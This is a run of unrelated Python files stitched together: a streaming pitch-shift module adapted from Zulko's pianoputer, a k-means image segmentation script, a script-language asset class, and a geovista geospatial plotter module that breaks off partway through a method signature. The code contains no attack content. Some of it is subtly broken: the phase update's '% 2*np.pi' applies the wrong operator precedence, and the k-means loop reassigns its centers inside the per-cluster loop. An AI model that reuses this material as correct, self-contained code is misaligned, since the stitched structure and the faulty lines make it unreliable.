"""
This code is a streaming version of code written by Zulko who
created the 'pianoputer.' All the ideas are from Zulko's
version. All we do here is show how to convert code for an
array into code for a stream.

To play music, download sounddevice.

A problem encountered when switching from arrays to streams
is that code operating on an array can use metrics --- such as
maximum --- over the entire array, whereas code operating on
streams has to compute pitch shift based on the available
data up to that point. For the streaming version we assume
that the maximum over the entire array is 4096.0 (See the
last lines of stretch in which result is computed). A poor
assumption of the maximum may result in clipping or numerical
problems.

This code has both the original version (modified with max
assumed to be 4096) and the streaming version so that you
can see how one is converted into the other. speedx and
stretch are from the original version, while the method
Stretch.stretch is the streaming version.

The repository includes a short wav file called 'guitar.wav'
If you run test_pitchshift you will hear the sound shifted
to a lower pitch, then the original sound, and then the sound
shifted to a higher pitch. In each case you will first hear
the sound created by original version (modified by assuming
max is 4096) and the streaming version.

The streaming code was written by Deepak Narayanan and Mani
Chandy. The Stretch.stretch() function is based on Zulko's
code.

"""

#!/usr/bin/env python
import sys
import os
import numpy as np
from scipy.io import wavfile
from scipy.io.wavfile import read, write
import sounddevice as sd

sys.path.append(os.path.abspath("../../IoTPy/core"))
sys.path.append(os.path.abspath("../../IoTPy/agent_types"))
sys.path.append(os.path.abspath("../../IoTPy/helper_functions"))

from stream import StreamArray
from run import run
from sink import sink_window

#---------------------------------------------------------------------
# CODE FROM ZULKO, PIANOPUTER. MERELY FOR REFERENCE.
#---------------------------------------------------------------------

def speedx(sound_array, factor):
    """
    Multiplies the sound's speed by factor
    Taken from Zulko, pianoputer

    Parameters
    ----------
    sound_array: np.array
      The array that is being stretched
    factor: positive number
      The sound is speeded up when factor > 1.

    """
    indices = np.round( np.arange(0, len(sound_array), factor) )
    indices = indices[indices < len(sound_array)].astype(int)
    return sound_array[ indices.astype(int) ]

def stretch(sound_array, f, window_size, h):
    """
    Stretches the sound by a factor f.
    Taken from Zulko, pianoputer

    Parameters
    ----------
    sound_array: np.array
      The array that is being stretched
    f: positive number
      The amount of stretch when f > 1 and contraction if f < 1.
    window_size: int or float
      The sound_array is inspected by subarrays each of which is of
      size window_size.
    h: int or float
      The overlap between successive windows.
    """
    window_size = int(window_size)
    phase  = np.zeros(window_size)
    hanning_window = np.hanning(window_size)
    result = np.zeros( int(len(sound_array) /f + window_size))

    for i in np.arange(0, len(sound_array)-(window_size+h), int(h*f)):

        # two potentially overlapping subarrays
        a1 = sound_array[i: i + int(window_size)]
        a2 = sound_array[i + h: i + int(window_size) + int(h)]

        # resynchronize the second array on the first
        s1 =  np.fft.fft(hanning_window * a1)
        s2 =  np.fft.fft(hanning_window * a2)
        phase = (phase + np.angle(s2/s1)) % 2*np.pi
        a2_rephased = np.fft.ifft(np.abs(s2)*np.exp(1j*phase))

        # add to result
        i2 = int(i/f)
        result[i2 : i2 + window_size] += np.real((hanning_window*a2_rephased))

    #result = ((2**(16-4)) * result/result.max()) # normalize
    # Assume result.max() is 2**(16-4)x
    return result.astype('int16')

def pitchshift(sound_array, n, window_size=2**13, h=2**11):
    """
    Changes the pitch of a sound by n semitones.
    Taken from Zulko, pianoputer
    """
    factor = 2**(1.0 * n / 12.0)
    stretched = stretch(sound_array, 1.0/factor, window_size, h)
    return speedx(stretched[window_size:], factor)

#---------------------------------------------------------------------
# END OF CODE FROM ZULKO, PIANOPUTER
#---------------------------------------------------------------------

#---------------------------------------------------------------------
# CODE TO CONVERT OPERATION ON AN ARRAY TO OPERATION ON A STREAM.
#---------------------------------------------------------------------
def pitchshift_stream(sound_array, n, window_size=2**13, h=2**11):
    """
    Changes the pitch of a sound by n semitones.

    Notes
    -----
    This application has 2 sink_window agents and 3 streams x, y, z.
    Stretch agent: The first agent gets input x and outputs y which
    stretches the data in stream x. The stretching code is from Zulko,
    pianoputer.
    Speed up agent: The next agent gets input y and outputs z which
    speeds up y by the specified factor. This agent interpolates the
    data in y to the number of points determined by factor.

    """
    factor = 2**(1.0 * n / 12.0)
    f = 1.0/factor

    # Declare streams
    x = StreamArray('x', dtype=np.int16)
    y = StreamArray('y', dtype=np.int16)
    z = StreamArray('z', dtype=np.int16)

    # Define the stretch agent
    stretch_object = Stretch(
        in_stream=x, out_stream=y, factor=factor,
        window_size=window_size, h=h)
    sink_window(
        func=stretch_object.stretch, in_stream=x,
        window_size=window_size+h, step_size=int(h*f))

    # Define the speedup agent.
    def f(window, out_stream):
        indices = np.arange(0, window_size, factor)
        out_stream.extend(
            np.int16(np.interp(
                indices, np.arange(window_size), window)))
    sink_window(func=f, in_stream=y, window_size=window_size,
    step_size=window_size, out_stream=z)

    # Partition sound_array into sound bites. Extend the
    # input with a sequence of sound bites and run each
    # sound bite until the sound_array data is finished.
    sound_bite_size = 2**14
    for i in range(0, sound_array.size, sound_bite_size):
        # sound_bite = sound_array[i:i+sound_bite_size]
        x.extend(sound_array[i:i+sound_bite_size])
        run()
    # Process any data in sound_array that wasn't processed
    # in the for loop.
    x.extend(sound_array[i:])

    # Return the result.
    return z.recent[:z.stop]

class Stretch(object):
    """
    Parameters
    __________

    """
    def __init__(self, in_stream, out_stream, factor, window_size, h):
        self.in_stream = in_stream
        self.out_stream = out_stream
        self.factor = factor
        self.f = 1.0/factor
        self.window_size = window_size
        self.h = h
        self.phase = np.zeros(window_size)
        self.hanning_window = np.hanning(self.window_size)
        self.result = np.zeros(window_size+h)
    def stretch(self, window):
        # -----------------------------------------------------
        # From Zulko stretch()
        # a1 and a2 are two overlapping subarrays, each of size
        # window_size with an overlap of h.
        a1 = window[:self.window_size]
        a2 = window[int(self.h): self.window_size+int(self.h)]

        # resynchronize the second array on the first
        s1 = np.fft.fft(self.hanning_window * a1)
        s2 = np.fft.fft(self.hanning_window * a2)
        self.phase = (self.phase + np.angle(s2/s1)) % 2*np.pi
        a2_rephased = np.fft.ifft(np.abs(s2)*np.exp(1j*self.phase))

        # Add resynchronized second array to result, and output
        # on out_stream. Recall that the size of self.result is
        # self.window_size + self.h.
        self.result[: self.window_size] += np.real(
            (self.hanning_window*a2_rephased))
        current_output = (self.result[:self.h]).astype(np.int16)
        self.out_stream.extend(current_output)

        # Save self.result[self.h : ] for next window.
        self.result = np.roll(self.result, -self.h)
        self.result[self.window_size:] = 0.0

#---------------------------------------------------------------------
# TEST
#---------------------------------------------------------------------
def test_pitchshift():
    fps, sound_array = wavfile.read("./guitar.wav")
    tones = [-12, 0, 12]
    for tone in tones:
        print ('tone is ', tone)

        # Array code
        # transposed = pitchshift(sound_array, tone)
        # print ('Playing sound from array code')
        # sd.play(transposed, blocking=True)

        # Stream code
        transposed_stream = pitchshift_stream(sound_array, tone)
        print ('Playing sound from stream code')
        sd.play(transposed_stream, blocking=True)
        print ()

if __name__ == '__main__':
    test_pitchshift()


import imageio
import matplotlib.pyplot as plt
from skimage.segmentation import mark_boundaries
from skimage.color import label2rgb, rgb2gray
import numpy as np

im = imageio.imread('Elbphilharmonie.jpg')
# k-means
im_gray = rgb2gray(im)

# Flatten the image to obtain list of points
im_gray_flat = im_gray.flatten()

# parameters
k = 100
change_threshold = 0.0001 # tolerance for changes in cluster centers to detect changes

# 1. randomly choose cluster centers
centers = np.random.choice(im_gray_flat, size=k)

# we want to use NumPy broadcasting in the loop below, so let's reshape the arrays to be able to do that
im_gray_flat = im_gray_flat.reshape((im_gray_flat.size, 1)) # to [N, 1]
centers = centers.reshape((1,k)) # to [1, k]

changed = True
while changed:
	# 2. calculate cluster assignments
	dist = np.abs(im_gray_flat - centers) # result is [N, k] thanks to broadcasting
	assignments = np.argmin(dist, axis=1)

	# 3. update cluster centers, see if there are changes
	new_centers = np.zeros((1,k))
	changed = False
	for i in range(k):
		assigned_to_cluster_i = assignments == i # boolean array
		new_centers[0,i] = np.average(im_gray_flat[assigned_to_cluster_i])
		if np.abs(new_centers[0,i] - centers[0,i]) > change_threshold:
			changed = True

		# assign new centers
		centers = new_centers

# Visualization
assignments_img = assignments.reshape(im_gray.shape)
labels_kmeans_colored = label2rgb(assignments_img, im, kind='overlay')

fig, ax = plt.subplots(ncols=2, figsize=(12,12))
ax[0].imshow(im_gray, cmap='gray')
ax[1].imshow(labels_kmeans_colored)
plt.savefig('kmeans_elbphi.png', bbox_inches='tight')
plt.show()


from Asset import AssetBase

class ScriptLanguageBase(AssetBase):
    '''
    classdocs
    '''
    def __init__(self, domain=None, variableregex=None, editormode=None, interpreter=None, type=None, operatingsystem=[]):
        AssetBase.__init__(self)
        self._attrSpecs = getattr(self, '_attrSpecs', {})
        self._attrSpecs.update({'domain': {'type': 'Link', 'name': 'domain', 'minOccurs': '0', 'native': False}, 'editorMode': {'type': 'string', 'name': 'editormode', 'minOccurs': '0', 'native': True}, 'variableRegex': {'type': 'string', 'name': 'variableregex', 'minOccurs': '0', 'native': True}, 'interpreter': {'type': 'string', 'name': 'interpreter', 'minOccurs': '0', 'native': True}, 'type': {'type': 'ScriptType', 'name': 'type', 'minOccurs': '0', 'native': False}, 'operatingSystem': {'maxOccurs': 'unbounded', 'type': 'string', 'name': 'operatingsystem', 'minOccurs': '0', 'native': True}})
        self.domain = domain
        self.variableregex = variableregex
        self.editormode = editormode
        self.interpreter = interpreter
        self.type = type
        self.operatingsystem = operatingsystem


"""Provide specialisation to support a geospatial aware plotter.

See :class:`pyvista.Plotter`.

Notes
-----
.. versionadded:: 0.1.0

"""
from __future__ import annotations

from functools import lru_cache
from typing import Any, Union
from warnings import warn

from pyproj import CRS
import pyvista as pv
import vtk

from .common import (
    GV_FIELD_ZSCALE,
    GV_REMESH_POINT_IDS,
    LRU_CACHE_SIZE,
    RADIUS,
    REMESH_SEAM,
    ZLEVEL_SCALE,
    ZTRANSFORM_FACTOR,
    distance,
    point_cloud,
    to_cartesian,
)
from .common import cast_UnstructuredGrid_to_PolyData as cast
from .core import add_texture_coords, resize, slice_mesh
from .crs import (
    WGS84,
    from_wkt,
    get_central_meridian,
    projected,
    set_central_meridian,
    to_wkt,
)
from .geometry import coastlines
from .gridlines import (
    GRATICULE_ZLEVEL,
    GraticuleGrid,
    create_meridians,
    create_parallels,
)
from .raster import wrap_texture
from .samples import LFRIC_RESOLUTION, REGULAR_RESOLUTION, lfric, regular_grid
from .transform import transform_mesh

__all__ = ["GeoPlotter"]

# type aliases
CRSLike = Union[int, str, dict, CRS]

#: Proportional multiplier for z-axis levels/offsets of base-layer mesh.
BASE_ZLEVEL_SCALE: int = 1.0e-3

#: Coastlines relative tolerance for values close to longitudinal wrap base + period.
COASTLINES_RTOL: float = 1.0e-8

#: The default font size for graticule labels.
GRATICULE_LABEL_FONT_SIZE: int = 9

#: Whether to rendering graticule labels by default.
GRATICULE_SHOW_LABELS: bool = True

@lru_cache(maxsize=LRU_CACHE_SIZE)
def _lfric_mesh(
    resolution: str | None = None,
    radius: float | None = None,
) -> pv.PolyData:
    """Retrieve the LFRic unstructured cubed-sphere from the geovista cache.

    Parameters
    ----------
    resolution : str, optional
        The resolution of the LFRic unstructured cubed-sphere. Defaults to
        :data:`geovista.samples.LFRIC_RESOLUTION`.
    radius : float, optional
        The radius of the sphere. Defaults to :data:`geovista.common.RADIUS`.

    Returns
    -------
    PolyData
        The LFRic spherical mesh.

    Notes
    -----
    .. versionadded:: 0.1.0

    """
    mesh = lfric(resolution=resolution)

    if radius:
        mesh = resize(mesh, radius=radius)

    mesh.set_active_scalars(name=None)

    return mesh

class GeoPlotterBase:
    """Base class with common behaviour for a geospatial aware plotter.

    See :class:`pyvista.Plotter`.

    Notes
    -----
    .. versionadded:: 0.1.0

    """

    def __init__(self, *args: Any | None, **kwargs: Any | None):
        """Create geospatial aware plotter.

        Parameters
        ----------
        crs : str or CRS, optional
            The target CRS to render geolocated meshes added to the plotter.
        **kwargs : dict, optional
            See :class:`pyvista.Plotter` for further details.

        Notes
        -----
        .. versionadded:: 0.1.0

        """
        if args:
            klass = f"'{self.__class__.__name__}'"
            if len(args) == 1 and ("crs" not in kwargs or kwargs["crs"] is None):
                wmsg = (
                    f"{klass} received an unexpected argument. "
                    "Assuming 'crs' keyword argument instead..."
                )
                warn(wmsg, stacklevel=2)
                kwargs["crs"] = args[0]
                args = ()
            else:
                plural = "s" if len(args) > 1 else ""
                pre = ",".join([f"'{arg}'" for arg in args[:-1]])
                bad = f"{pre} and '{args[-1]}'" if pre else f"'{args[0]}'"
                emsg = (
                    f"{klass} received {len(args)} unexpected argument{plural}, {bad}."
                )
                raise ValueError(emsg)

        if "crs" in kwargs:
            crs = kwargs.pop("crs")
            crs = CRS.from_user_input(crs) if crs is not None else WGS84
        else:
            crs = WGS84
        self.crs = crs
        super().__init__(*args, **kwargs)

    def _add_graticule_labels(
        self,
        graticule: GraticuleGrid,
        radius: float | None = None,
        zlevel: int | None = None,
        zscale: float | None = None,
        point_labels_args: dict[Any, Any] | None = None,
    ) -> None:
        """Render the labels for the given parallels/meridians.

        Parameters
        ----------
        graticule : GraticuleGrid
            The labels and associated lon/lat points for the graticule
            parallels/meridians.
        radius : float, optional
            The radius of the sphere. Defaults to :data:`geovista.common.RADIUS`.
        zlevel : int, optional
            The z-axis level. Used in combination with the `zscale` to offset the
            `radius` by a proportional amount i.e., ``radius * zlevel * zscale``.
            Defaults to :data:`geovista.gridlines.GRATICULE_ZLEVEL`
        zscale : float, optional
            The proportional multiplier for z-axis `zlevel`. Defaults to
            :data:`geovista.common.ZLEVEL_SCALE`.
        point_labels_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_point_labels`.

        Notes
        -----
        .. versionadded:: 0.3.0

        """
        if zlevel is None:
            zlevel = GRATICULE_ZLEVEL

        if point_labels_args is None:
            point_labels_args = {}

        lonlat = graticule.lonlat
        xyz = to_cartesian(
            lonlat[:, 0], lonlat[:, 1], radius=radius, zlevel=zlevel, zscale=zscale
        )

        mesh = pv.PolyData(xyz)

        if graticule.mask is not None:
            mask = graticule.mask * REMESH_SEAM
            mesh.point_data[GV_REMESH_POINT_IDS] = mask
            mesh.set_active_scalars(name=None)

        to_wkt(mesh, WGS84)
        # the point-cloud won't be sliced, however it's important that the
        # central-meridian rotation is performed here
        mesh = transform_mesh(mesh, self.crs, zlevel=zlevel, inplace=True)
        xyz = mesh.points

        if "show_points" in point_labels_args:
            _ = point_labels_args.pop("show_points")

        if "font_size" not in point_labels_args:
            point_labels_args["font_size"] = GRATICULE_LABEL_FONT_SIZE

        # labels over-plot points, therefore enforce non-rendering of points,
        # which is more efficient
        point_labels_args["show_points"] = False
        # opinionated over-ride to disable label visibility filter
        point_labels_args["always_visible"] = False

        self.add_point_labels(xyz, graticule.labels, **point_labels_args)

    def add_base_layer(
        self, mesh: pv.PolyData | None = None, **kwargs: Any | None
    ) -> vtk.vtkActor:
        """Generate a cubed-sphere base layer mesh and add to the plotter scene.

        Optionally, a `mesh` may be provided, which better fits the
        geometry of the surface mesh.

        Parameters
        ----------
        mesh : PolyData, optional
            Use the provided mesh as the base layer.
        radius : float, optional
            The radius of the spherical mesh to generate as the base layer. Defaults
            to :data:`geovista.common.RADIUS`.
        resolution : str, optional
            The resolution of the cubed-sphere to generate as the base layer,
            which may be either ``c48``, ``c96`` or ``c192``. Defaults to
            :data:`geovista.samples.LFRIC_RESOLUTION`. Alternatively, generate a
            regular grid using a format of ``rN``, where ``N`` is the number of cells
            in latitude, and ``N * 1.5`` cells in longitude. When adding a base layer
            to a projection, the default is to use a regular grid with resolution
            :data:`REGULAR_RESOLUTION`.
        zlevel : int, default=-1
            The z-axis level. Used in combination with the `zscale` to offset the
            `radius` by a proportional amount i.e., ``radius * zlevel * zscale``.
        zscale : float, optional
            The proportional multiplier for z-axis `zlevel`. Defaults to
            :data:`geovista.common.ZLEVEL_SCALE`.
        **kwargs : dict, optional
            See :meth:`pyvista.Plotter.add_mesh`.

        Returns
        -------
        vtkActor
            The rendered actor added to the plotter scene.

        Notes
        -----
        .. versionadded:: 0.1.0

        """
        resolution = kwargs.pop("resolution") if "resolution" in kwargs else None

        if resolution is None:
            resolution = (
                REGULAR_RESOLUTION if self.crs.is_projected else LFRIC_RESOLUTION
            )
        else:
            resolution = str(resolution)

        if self.crs.is_projected:
            # pass through "zlevel" and "zscale" to the "add_mesh" method,
            # but remove "radius", as it's not applicable to planar projections
            if "radius" in kwargs:
                _ = kwargs.pop("radius")
            # opt to the default radius for the base layer mesh
            radius = None
            if "zscale" not in kwargs:
                kwargs["zscale"] = BASE_ZLEVEL_SCALE
            if "zlevel" not in kwargs:
                kwargs["zlevel"] = -1
        else:
            radius = abs(float(kwargs.pop("radius"))) if "radius" in kwargs else RADIUS
            zscale = (
                float(kwargs.pop("zscale")) if "zscale" in kwargs else BASE_ZLEVEL_SCALE
            )
            zlevel = int(kwargs.pop("zlevel")) if "zlevel" in kwargs else -1
            radius += radius * zlevel * zscale

        if mesh is not None:
            if radius is not None:
                mesh = resize(mesh, radius=radius)
        else:
            if resolution.startswith("r"):
                mesh = regular_grid(resolution=resolution, radius=radius)
            else:
                mesh = _lfric_mesh(resolution=resolution, radius=radius)

        actor = self.add_mesh(mesh, **kwargs)

        return actor

    def add_coastlines(
        self,
        resolution: str | None = None,
        radius: float | None = None,
        zlevel: int | None = None,
        zscale: float | None = None,
        rtol: float | None = None,
        atol: float | None = None,
        **kwargs: Any | None,
    ) -> vtk.vtkActor:
        """Generate coastlines and add to the plotter scene.

        Parameters
        ----------
        resolution : str, optional
            The resolution of the Natural Earth coastlines, which may be either
            ``110m``, ``50m``, or ``10m``. Defaults to
            :data:`geovista.common.COASTLINES_RESOLUTION`.
        radius : float, optional
            The radius of the sphere. Defaults to :data:`geovista.common.RADIUS`.
        zlevel : int, default=1
            The z-axis level. Used in combination with the `zscale` to offset the
            `radius` by a proportional amount i.e., ``radius * zlevel * zscale``.
        zscale : float, optional
            The proportional multiplier for z-axis `zlevel`. Defaults to
            :data:`geovista.common.ZLEVEL_SCALE`.
        rtol : float, optional
            The relative tolerance for values close to longitudinal
            :func:`geovista.common.wrap` base + period.
        atol : float, optional
            The absolute tolerance for values close to longitudinal
            :func:`geovista.common.wrap` base + period.
        **kwargs : dict, optional
            See :meth:`pyvista.Plotter.add_mesh`.

        Returns
        -------
        vtkActor
            The rendered actor added to the plotter scene.

        Notes
        -----
        .. versionadded:: 0.1.0

        """
        if self.crs.is_projected:
            # don't pass through "radius", as it's not applicable
            if rtol is None:
                rtol = COASTLINES_RTOL
            if zscale is None:
                zscale = ZLEVEL_SCALE
            if zlevel is None:
                zlevel = ZTRANSFORM_FACTOR
            # pass through kwargs to "add_mesh"
            kwargs.update({"zlevel": zlevel, "zscale": zscale})

        mesh = coastlines(
            resolution=resolution, radius=radius, zlevel=zlevel, zscale=zscale
        )

        if rtol is not None:
            kwargs["rtol"] = rtol

        if atol is not None:
            kwargs["atol"] = atol

        actor = self.add_mesh(mesh, **kwargs)

        return actor

    def add_graticule(
        self,
        lon_start: float | None = None,
        lon_stop: float | None = None,
        lon_step: float | None = None,
        lat_start: float | None = None,
        lat_step: float | None = None,
        lat_stop: float | None = None,
        poles_parallel: bool | None = None,
        poles_label: bool | None = None,
        show_labels: bool | None = None,
        radius: float | None = None,
        zlevel: int | None = None,
        zscale: float | None = None,
        mesh_args: dict[Any, Any] | None = None,
        point_labels_args: dict[Any, Any] | None = None,
    ) -> None:
        """Generate a graticule and add to the plotter scene.

        This involves generating lines of constant latitude (parallels) and
        lines of constant longitude (meridians), which together form the graticule.

        Parameters
        ----------
        lon_start : float, optional
            The first line of longitude (degrees). The graticule will include this
            meridian. Defaults to :data:`geovista.gridlines.LONGITUDE_START`.
        lon_stop : float, optional
            The last line of longitude (degrees). The graticule will include this
            meridian when it is a multiple of ``lon_step``. Also see
            ``closed_interval``. Defaults to :data:`geovista.gridlines.LONGITUDE_STOP`.
        lon_step : float, optional
            The delta (degrees) between neighbouring meridians. Defaults to
            :data:`geovista.gridlines.LONGITUDE_STEP`.
        lat_start : float, optional
            The first line of latitude (degrees). The graticule will include this
            parallel. Also see `poles_parallel`. Defaults to
            :data:`geovista.gridlines.LATITUDE_START`.
        lat_stop : float, optional
            The last line of latitude (degrees). The graticule will include this
            parallel when it is a multiple of ``lat_step``. Defaults to
            :data:`geovista.gridlines.LATITUDE_STOP`.
        lat_step : float, optional
            The delta (degrees) between neighbouring parallels. Defaults to
            :data:`geovista.gridlines.LATITUDE_STEP`.
        poles_parallel : bool, optional
            Whether to create a line of latitude at the north/south poles. Defaults to
            :data:`geovista.gridlines.LATITUDE_POLES_PARALLEL`.
        poles_label : bool, optional
            Whether to create a single north/south pole label. Only applies when
            ``poles_parallel=False``. Defaults to
            :data:`geovista.gridlines.LATITUDE_POLES_LABEL`.
        show_labels : bool, optional
            Whether to render the labels of the parallels and meridians. Defaults to
            :data:`GRATICULE_SHOW_LABELS`.
        radius : float, optional
            The radius of the sphere. Defaults to :data:`geovista.common.RADIUS`.
        zlevel : int, optional
            The z-axis level. Used in combination with the `zscale` to offset the
            `radius` by a proportional amount i.e., ``radius * zlevel * zscale``.
            Defaults to :data:`geovista.gridlines.GRATICULE_ZLEVEL`
        zscale : float, optional
            The proportional multiplier for z-axis `zlevel`. Defaults to
            :data:`geovista.common.ZLEVEL_SCALE`.
        mesh_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_mesh`.
        point_labels_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_point_labels`.

        Notes
        -----
        .. versionadded:: 0.3.0

        """
        self.add_meridians(
            start=lon_start,
            stop=lon_stop,
            step=lon_step,
            lat_step=lat_step,
            show_labels=show_labels,
            radius=radius,
            zlevel=zlevel,
            zscale=zscale,
            mesh_args=mesh_args,
            point_labels_args=point_labels_args,
        )
        self.add_parallels(
            start=lat_start,
            stop=lat_stop,
            step=lat_step,
            lon_step=lon_step,
            poles_parallel=poles_parallel,
            poles_label=poles_label,
            show_labels=show_labels,
            radius=radius,
            zlevel=zlevel,
            zscale=zscale,
            mesh_args=mesh_args,
            point_labels_args=point_labels_args,
        )

    def add_mesh(self, mesh: Any, **kwargs: Any | None):
        """Add the ``mesh`` to the plotter scene.

        See :meth:`pyvista.Plotter.add_mesh`.

        Parameters
        ----------
        mesh : PolyData
            The mesh to add to the plotter.
        rtol : float, optional
            The relative tolerance for values close to longitudinal
            :func:`geovista.common.wrap` base + period.
        atol : float, optional
            The absolute tolerance for values close to longitudinal
            :func:`geovista.common.wrap` base + period.
        radius : float, optional
            The radius of the sphere. Defaults to :data:`geovista.common.RADIUS`.
        zlevel : int or ArrayLike, default=0
            The z-axis level. Used in combination with the `zscale` to offset the
            `radius`/vertical by a proportional amount e.g.,
            ``radius * zlevel * zscale``. If `zlevel` is not a scalar, then its shape
            must match or broadcast with the shape of the ``mesh.points``.
        zscale : float, optional
            The proportional multiplier for z-axis `zlevel`. Defaults to
            :data:`geovista.common.ZLEVEL_SCALE`.
        **kwargs : dict, optional
            See :meth:`pyvista.Plotter.add_mesh`.

        Returns
        -------
        vtkActor
            The rendered actor added to the plotter scene.

        Notes
        -----
        .. versionadded:: 0.1.0

        """
        if isinstance(mesh, pv.UnstructuredGrid):
            mesh = cast(mesh)

        if isinstance(mesh, pv.PolyData):
            atol = float(kwargs.pop("atol")) if "atol" in kwargs else None
            radius = abs(float(kwargs.pop("radius"))) if "radius" in kwargs else None
            rtol = float(kwargs.pop("rtol")) if "rtol" in kwargs else None
            zlevel = int(kwargs.pop("zlevel")) if "zlevel" in kwargs else 0
            cloud = point_cloud(mesh)

            if "zscale" in kwargs:
                zscale = float(kwargs.pop("zscale"))
            elif cloud and GV_FIELD_ZSCALE in mesh.field_data:
                zscale = mesh[GV_FIELD_ZSCALE][0]
            else:
                zscale = ZLEVEL_SCALE

            src_crs = from_wkt(mesh)

            if src_crs is None:
                wmsg = "Found no coordinate reference system (CRS) attached to mesh."
                warn(wmsg, stacklevel=2)

            tgt_crs = self.crs
            transform_required = src_crs and src_crs != tgt_crs
            central_meridian = get_central_meridian(tgt_crs) or 0

            if transform_required and not cloud:
                if central_meridian:
                    mesh.rotate_z(-central_meridian, inplace=True)
                    tgt_crs = set_central_meridian(tgt_crs, 0)

                # the sliced_mesh is guaranteed to be a new instance,
                # even if not bisected
                sliced_mesh = slice_mesh(mesh, rtol=rtol, atol=atol)

                if central_meridian:
                    # undo rotation of original mesh
                    mesh.rotate_z(central_meridian, inplace=True)

                mesh = sliced_mesh

            if "texture" in kwargs and kwargs["texture"] is not None:
                mesh = add_texture_coords(mesh, antimeridian=True)
                texture = wrap_texture(
                    kwargs["texture"], central_meridian=central_meridian
                )
                kwargs["texture"] = texture

            if transform_required:
                mesh = transform_mesh(
                    mesh,
                    tgt_crs,
                    slice_connectivity=False,
                    rtol=rtol,
                    atol=atol,
                    zlevel=zlevel,
                    zscale=zscale,
                    inplace=not cloud,
                )
                to_wkt(mesh, self.crs)
            else:
                if not projected(mesh) and zlevel:
                    if not cloud:
                        radius = distance(mesh)

                    mesh = resize(mesh, radius=radius, zlevel=zlevel, zscale=zscale)

        return super().add_mesh(mesh, **kwargs)

    def add_meridian(
        self,
        lon: float,
        lat_step: float | None = None,
        n_samples: int | None = None,
        show_labels: bool | None = None,
        radius: float | None = None,
        zlevel: int | None = None,
        zscale: float | None = None,
        mesh_args: dict[Any, Any] | None = None,
        point_labels_args: dict[Any, Any] | None = None,
    ) -> None:
        """Generate a line of constant longitude and add to the plotter scene.

        Parameters
        ----------
        lon : float
            The constant line of longitude (degrees) to generate.
        lat_step : float, optional
            The delta (degrees) between neighbouring parallels. Defaults to
            :data:`geovista.gridlines.LATITUDE_STEP`.
        n_samples : int, optional
            The number of points in a single line of longitude. Defaults to
            :data:`geovista.gridlines.LONGITUDE_N_SAMPLES`.
        show_labels : bool, optional
            Whether to render the meridian label. Defaults to
            :data:`GRATICULE_SHOW_LABELS`.
        radius : float, optional
            The radius of the sphere. Defaults to :data:`geovista.common.RADIUS`.
        zlevel : int, optional
            The z-axis level. Used in combination with the `zscale` to offset the
            `radius` by a proportional amount i.e., ``radius * zlevel * zscale``.
            Defaults to :data:`geovista.gridlines.GRATICULE_ZLEVEL`
        zscale : float, optional
            The proportional multiplier for z-axis `zlevel`. Defaults to
            :data:`geovista.common.ZLEVEL_SCALE`.
        mesh_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_mesh`.
        point_labels_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_point_labels`.

        Notes
        -----
        .. versionadded:: 0.3.0

        """
        self.add_meridians(
            start=lon,
            stop=lon,
            lat_step=lat_step,
            n_samples=n_samples,
            show_labels=show_labels,
            radius=radius,
            zlevel=zlevel,
            zscale=zscale,
            mesh_args=mesh_args,
            point_labels_args=point_labels_args,
        )

    def add_meridians(
        self,
        start: float | None = None,
        stop: float | None = None,
        step: float | None = None,
        lat_step: float | None = None,
        n_samples: int | None = None,
        show_labels: bool | None = None,
        radius: float | None = None,
        zlevel: int | None = None,
        zscale: float | None = None,
        mesh_args: dict[Any, Any] | None = None,
        point_labels_args: dict[Any, Any] | None = None,
    ) -> None:
        """Generate lines of constant longitude and add to the plotter scene.

        Parameters
        ----------
        start : float, optional
            The first line of longitude (degrees). The graticule will include this
            meridian. Defaults to :data:`geovista.gridlines.LONGITUDE_START`.
        stop : float, optional
            The last line of longitude (degrees). The graticule will include this
            meridian when it is a multiple of ``step``. Also see ``closed_interval``.
            Defaults to :data:`geovista.gridlines.LONGITUDE_STOP`.
        step : float, optional
            The delta (degrees) between neighbouring meridians. Defaults to
            :data:`geovista.gridlines.LONGITUDE_STEP`.
        lat_step : float, optional
            The delta (degrees) between neighbouring parallels. Defaults to
            :data:`geovista.gridlines.LATITUDE_STEP`.
        n_samples : int, optional
            The number of points in a single line of longitude. Defaults to
            :data:`geovista.gridlines.LONGITUDE_N_SAMPLES`.
        show_labels : bool, optional
            Whether to render the labels of the meridians. Defaults to
            :data:`GRATICULE_SHOW_LABELS`.
        radius : float, optional
            The radius of the sphere. Defaults to :data:`geovista.common.RADIUS`.
        zlevel : int, optional
            The z-axis level. Used in combination with the `zscale` to offset the
            `radius` by a proportional amount i.e., ``radius * zlevel * zscale``.
            Defaults to :data:`geovista.gridlines.GRATICULE_ZLEVEL`
        zscale : float, optional
            The proportional multiplier for z-axis `zlevel`. Defaults to
            :data:`geovista.common.ZLEVEL_SCALE`.
        mesh_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_mesh`.
        point_labels_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_point_labels`.

        Notes
        -----
        .. versionadded:: 0.3.0

        """
        if show_labels is None:
            show_labels = GRATICULE_SHOW_LABELS

        if zlevel is None:
            zlevel = ZTRANSFORM_FACTOR if self.crs.is_projected else GRATICULE_ZLEVEL

        if mesh_args is None:
            mesh_args = {}

        if point_labels_args is None:
            point_labels_args = {}

        closed_interval = self.crs.is_projected
        central_meridian = get_central_meridian(self.crs)

        meridians = create_meridians(
            start=start,
            stop=stop,
            step=step,
            lat_step=lat_step,
            n_samples=n_samples,
            closed_interval=closed_interval,
            central_meridian=central_meridian,
            radius=radius,
            zlevel=zlevel,
            zscale=zscale,
        )

        if radius is not None:
            mesh_args["radius"] = radius

        if zlevel is not None:
            mesh_args["zlevel"] = zlevel

        if zscale is not None:
            mesh_args["zscale"] = zscale

        for mesh in meridians.blocks:
            self.add_mesh(mesh, **mesh_args)

        if show_labels:
            self._add_graticule_labels(
                meridians,
                radius=radius,
                zlevel=zlevel,
                zscale=zscale,
                point_labels_args=point_labels_args,
            )

    def add_parallel(
        self,
        lat: float,
        lon_step: float | None = None,
        n_samples: int | None = None,
        poles_parallel: bool | None = None,
        show_labels: bool | None = None,
        radius: float | None = None,
        zlevel: int | None = None,
        zscale: float | None = None,
        mesh_args: dict[Any, Any] | None = None,
        point_labels_args: dict[Any, Any] | None = None,
